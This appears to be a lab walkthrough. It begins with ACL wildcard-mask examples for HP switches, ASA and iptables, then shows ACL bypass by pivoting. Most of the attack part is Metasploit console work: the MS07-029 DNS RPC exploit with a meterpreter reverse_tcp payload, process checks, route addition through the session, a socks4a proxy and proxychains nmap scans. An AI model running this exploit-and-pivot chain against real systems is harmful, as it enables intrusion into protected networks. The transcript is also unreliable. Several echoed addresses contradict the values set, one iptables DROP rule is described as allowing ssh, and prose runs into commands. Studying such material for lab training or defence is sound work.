10.1.10.0 | Binary: | 00001010 00000001 00001010 00000000 |
10.1.10.255 | Binary: | 00001010 00000001 00001010 11111111 |
ACL mask: | Binary: | 00000000 00000000 00000000 11111111 <- last 8 bits are not significant |
10.1.32.0 | Binary: | 00001010 00000001 00100000 00000000 |
10.1.47.255 | Binary: | 00001010 00000001 00101111 11111111 |
ACL mask: | Binary: | 00000000 00000000 00001111 11111111 <- last 12 bits are not significant |
hpswitch(config)# ip access-list standard "deny-host1"
hpswitch(config-std-nacl)# deny host 10.1.10.15 0.0.0.0
hpswitch(config)# ip access-list extended "somename_acl"
hpswitch(config-ext-nacl)# 10 permit tcp 10.1.10.15 0.0.0.0 10.1.11.15 0.0.0.0 eq 80
hpswitch(config-ext-nacl)# 20 deny ip 10.1.10.15 0.0.0.0 10.1.11.15 0.0.0.0
This ACL would allow 10.1.10.15/32 to access 10.1.11.15 on tcp/80 and denies anything elsehpswitch(config)# interface 1
hpswitch(eth-1)# ip access-group deny-host1 in or out
hpswitch(config)# vlan 5
hpswitch(VLAN5)# ip access-group somename_acl in or out
access-list inside_access_in extended permit tcp host Host1 host Host2 object-group DM_INLINE_22 log warnings
This rule would permit ssh access to Host2 from Host1 and would log all warnings.iptables -N blockssh
iptables -A blockssh -p tcp -d 192.168.1.1/32 --dport 22 -j DROP
iptables -A FORWARD -i -j blockssh
This rule allows ssh access to a server with the ip address 192.168.1.1hpswitch(config)# ip access-list extended "FileServerAccess"
hpswitch(config-ext-acl)# 10 permit ip 10.10.0.0 0.0.0.255 10.10.1.10 0.0.0.0
hpswitch(config-ext-acl)# 20 deny ip 10.10.0.0 0.0.0.255 10.10.1.0 0.0.0.255
hpswitch(config-ext-acl)# vlan 10
hpswitch(VLAN10)# ip access-group "FileServerAccess" in
root@bt:~# nmap -sS 10.10.1.0/24
...
Nmap scan report for 10.10.1.10
PORT STATE SERVICE
Host is up (0.00086s latency).
Not shown: 984 closed ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1025/tcp open NFS-or-IIS
1027/tcp open IIS
1037/tcp open ams
1040/tcp open netsaint
1048/tcp open neod2
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
MAC Address: 00:50:56:B9:31:4F (VMware)
Nmap done: 254 IP addresses (1 host up) scanned in 30.52 seconds
msf > use exploit/windows/dcerpc/ms07_029_msdns_zonename
msf exploit(ms07_029_msdns_zonename) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms07_029_msdns_zonename) > set LHOST 10.10.0.10
LHOST => 192.168.171.134
msf exploit(ms07_029_msdns_zonename) > set RHOST 10.10.1.10
RHOST => 10.10.1.11
msf exploit(ms07_029_msdns_zonename) > set TARGET 10
TARGET => 10
msf exploit(ms07_029_msdns_zonename) > show options
Module options (exploit/windows/dcerpc/ms07_029_msdns_zonename):
Name Current Setting Required Description
---- --------------- -------- -----------
Locale English yes Locale for automatic target (English, French, Italian, ...)
RHOST 10.10.1.10 yes The target address
RPORT 0 yes The target port
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 10.10.0.10 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
10 Windows 2003 Server SP1-SP2 German
msf exploit(ms07_029_msdns_zonename) > exploit
[*] Started reverse handler on 192.168.171.134:4444
[*] Connecting to the endpoint mapper service...
[*] Discovered Microsoft DNS Server RPC service on port 1048
[*] Trying target Windows 2003 Server SP1-SP2 German...
[*] Binding to 50abc2a4-574d-40b3-9d66-ee4fd5fba076:5.0@ncacn_ip_tcp:10.10.1.11[0] ...
[*] Bound to 50abc2a4-574d-40b3-9d66-ee4fd5fba076:5.0@ncacn_ip_tcp:10.10.1.11[0] ...
[*] Sending exploit...
[*] Sending stage (752128 bytes) to 10.10.1.11
[*] Meterpreter session 1 opened (192.168.171.134:4444 -> 10.10.1.11:1388) at 2012-09-28 14:36:47 -0400
[-] Error: no response from dcerpc service
meterpreter >
meterpreter > getpid
Current pid: 1364
meterpreter > ps
...
1364 388 dns.exe x86 0 $U$NTAUTORITT\SYSTEM-0x4e542d4155544f524954c4545c53595354454d C:\WINDOWS\System32\dns.exe
...
we are already running in a process which shouldn't be suspect so we dont need to migrate to another process and we already have System Authority rights meaning we dont need to try to get it (getsystem)Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
migrate Migrate the server to another process
meterpreter > ifconfig
Interface 1
============
Name : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
Interface 65539
============
Name : Intel(R) PRO/1000 MT-Netzwerkverbindung
Hardware MAC : 00:50:56:B9:31:4F
MTU : 1500
IPv4 Address : 10.10.1.10
IPv4 Netmask : 255.255.255.0
meterpreter > run netenum -ps -r 192.168.171.0/24
[*] Network Enumerator Meterpreter Script
[*] Log file being saved in /root/.msf4/logs/scripts/netenum/10.10.1.11
[*] Performing ping sweep for IP range 192.168.171.0/24
[*] 10.10.1.11 host found
meterpreter > background
[*] Backgrounding session 1...
msf exploit(ms07_029_msdns_zonename) > back
msf > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 $U$NTAUTORITT\SYSTEM-0x4e542d4155544f524954c4545c53595354454d @ W2K3ENTSP2DC 10.10.0.10:4444 -> 10.10.1.10:1388 (10.10.1.10)
msf > route add 10.10.1.11 10.10.1.10 1
[*] Route added
msf > ping 10.10.1.11
[*] exec: ping 10.10.1.11
PING 10.10.1.11 (10.10.1.11) 56(84) bytes of data.
64 bytes from 10.10.1.11: icmp_seq=1 ttl=128 time=0.922 ms
64 bytes from 10.10.1.11: icmp_seq=2 ttl=128 time=1.10 ms
64 bytes from 10.10.1.11: icmp_seq=3 ttl=128 time=1.27 ms
^CInterrupt: use the 'exit' command to quit
msf > use scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 10.10.1.11
RHOSTS => 10.10.1.11
msf auxiliary(tcp) > set THREADS 30
THREADS => 30
msf auxiliary(tcp) > run
[*] 10.10.1.11:53 - TCP OPEN
[*] 10.10.1.11:88 - TCP OPEN
[*] 10.10.1.11:135 - TCP OPEN
[*] 10.10.1.11:139 - TCP OPEN
[*] 10.10.1.11:389 - TCP OPEN
[*] 10.10.1.11:445 - TCP OPEN
[*] 10.10.1.11:464 - TCP OPEN
[*] 10.10.1.11:593 - TCP OPEN
[*] 10.10.1.11:636 - TCP OPEN
[*] 10.10.1.11:1025 - TCP OPEN
[*] 10.10.1.11:1027 - TCP OPEN
[*] 10.10.1.11:1040 - TCP OPEN
[*] 10.10.1.11:1037 - TCP OPEN
[*] 10.10.1.11:1048 - TCP OPEN
[*] 10.10.1.11:3268 - TCP OPEN
[*] 10.10.1.11:3269 - TCP OPEN
[*] Auxiliary module execution completed
msf auxiliary(tcp) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
root@bt:~# nano /etc/proxychains.conf
...
socks4 127.0.0.1 1080
...
root@bt:~# proxychains nmap -sS 10.10.1.11
ProxyChains-3.1 (http://proxychains.sf.net)
[S-chain]-<>-127.0.0.1:1080-<><>-10.10.1.11-<><>-OK
Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-28 16:25 EDT
Nmap scan report for 10.10.1.11
Host is up (0.00031s latency).
Not shown: 984 closed ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
...